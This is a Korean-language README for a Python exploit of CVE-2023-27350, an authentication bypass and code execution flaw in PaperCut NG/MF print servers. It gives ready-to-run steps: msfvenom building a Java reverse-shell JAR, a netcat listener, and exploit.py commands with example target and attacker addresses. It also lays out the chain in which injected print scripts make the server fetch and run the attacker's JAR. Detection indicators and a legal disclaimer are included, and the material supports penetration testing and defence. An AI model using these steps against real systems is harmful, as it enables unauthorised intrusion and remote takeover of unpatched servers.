
이 익스플로잇은 CVE-2023-27350을 기반으로 하며, horizon3ai의 원본 익스플로잇과 Metasploit 모듈을 기반으로 구축되었습니다.
PaperCut NG/MF의 심각한 인증 우회 및 원격 코드 실행 취약점을 위한 독립형 Python 익스플로잇입니다. CVSS 9.8.
CVE-2023-27350은 PaperCut NG 및 MF의 20.1.7, 21.2.11, 22.0.9 이전 버전에 영향을 미칩니다. 이 결함을 통해 인증되지 않은 공격자가 /app?service=page/SetupCompleted 엔드포인트(초기 설치 중에만 접근 가능해야 하는 설정 페이지)에 접근하여 자격 증명 없이 유효한 관리 세션을 얻을 수 있습니다.
관리자 액세스 권한을 얻은 공격자는 PaperCut의 인쇄 스크립팅 메커니즘을 활성화하고 서버의 JVM에 의해 실행되는 임의 코드를 주입하여 서비스 사용자 컨텍스트에서 전체 RCE를 달성할 수 있습니다.
| 브랜치 | 수정된 버전 |
|---|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
18.x 및 이전 버전은 공식 패치를 받지 못했습니다.
이 익스플로잇은 두 가지 공개 구현의 분석을 기반으로 개발되었습니다.
Runtime.exec()를 일반 문자열과 함께 사용하여 명령 실행Runtime.exec(String)는 셸 메타문자(>&, |, 0>&1)를 처리하지 않아 리버스 셸 페이로드가 효과적이지 않습니다. 또한 스크립트는 프린터 ID(l1001)를 하드코딩하고 영어 성공 문자열만 확인하여 영어가 아닌 인스턴스에서는 실패합니다.exploit/multi/http/papercut_ng_rceURLClassLoader를 통해 Metasploit JAR을 JVM에 로드하여 셸 종속성을 피합니다.nc와 함께 독립 실행형으로 사용하기에 쉽게 적용할 수 없습니다.Python 3.x
requests
msfvenom (Metasploit Framework의 일부)
nc (netcat)
pip install requests
1. JAR 페이로드 생성
msfvenom -p java/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
-f jar -o payload.jar
2. 리스너 시작
nc -lvnp <SHELL_PORT>
3. 익스플로잇 실행
python exploit.py \
-u http://<TARGET>:9191 \
-j payload.jar \
-lh <YOUR_IP> \
-lp <HTTP_PORT> \
-rp <SHELL_PORT>
예:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
1. `/app?service=page/SetupCompleted`를 통한 인증 우회
↓
2. 자격 증명 없이 관리자 JSESSIONID 획득
↓
3. [Template Printer](https://github.com/joaoaugustom/papercut-authentication_bypass_and_rce/blob/main/l1001) 선택
↓
4. 인쇄 스크립트 필드에 RhinoJS 스크립트 주입
↓
5. 스크립트가 우리 HTTP 서버를 가리키는 URLClassLoader 생성
↓
6. PaperCut JVM이 payload.jar를 다운로드 및 실행
↓
7. 리버스 셸
/app?service=page/SetupCompleted에 접근print-and-device.script.enabled 및 print.script.sandboxed 설정의 수정 (버전 >= 19)URLClassLoader 인스턴스화이 익스플로잇은 교육 목적 및 승인된 사용(침투 테스트, CTF, 랩 환경)으로만 제공됩니다. 명시적 허가 없이 시스템에 무단으로 사용하는 것은 불법입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
| 매개변수 | 설명 | 기본값 |
|---|
-u / --url | PaperCut 기본 URL | 필수 |
-j / --jar | payload.jar 경로 | 필수 |
-lh / --lhost | 사용자 IP (대상이 여기로 연결됨) | 필수 |
-lp / --lport | JAR을 제공할 HTTP 포트 | 9090 |
-rp / --rport | 리버스 셸 포트 | 4444 |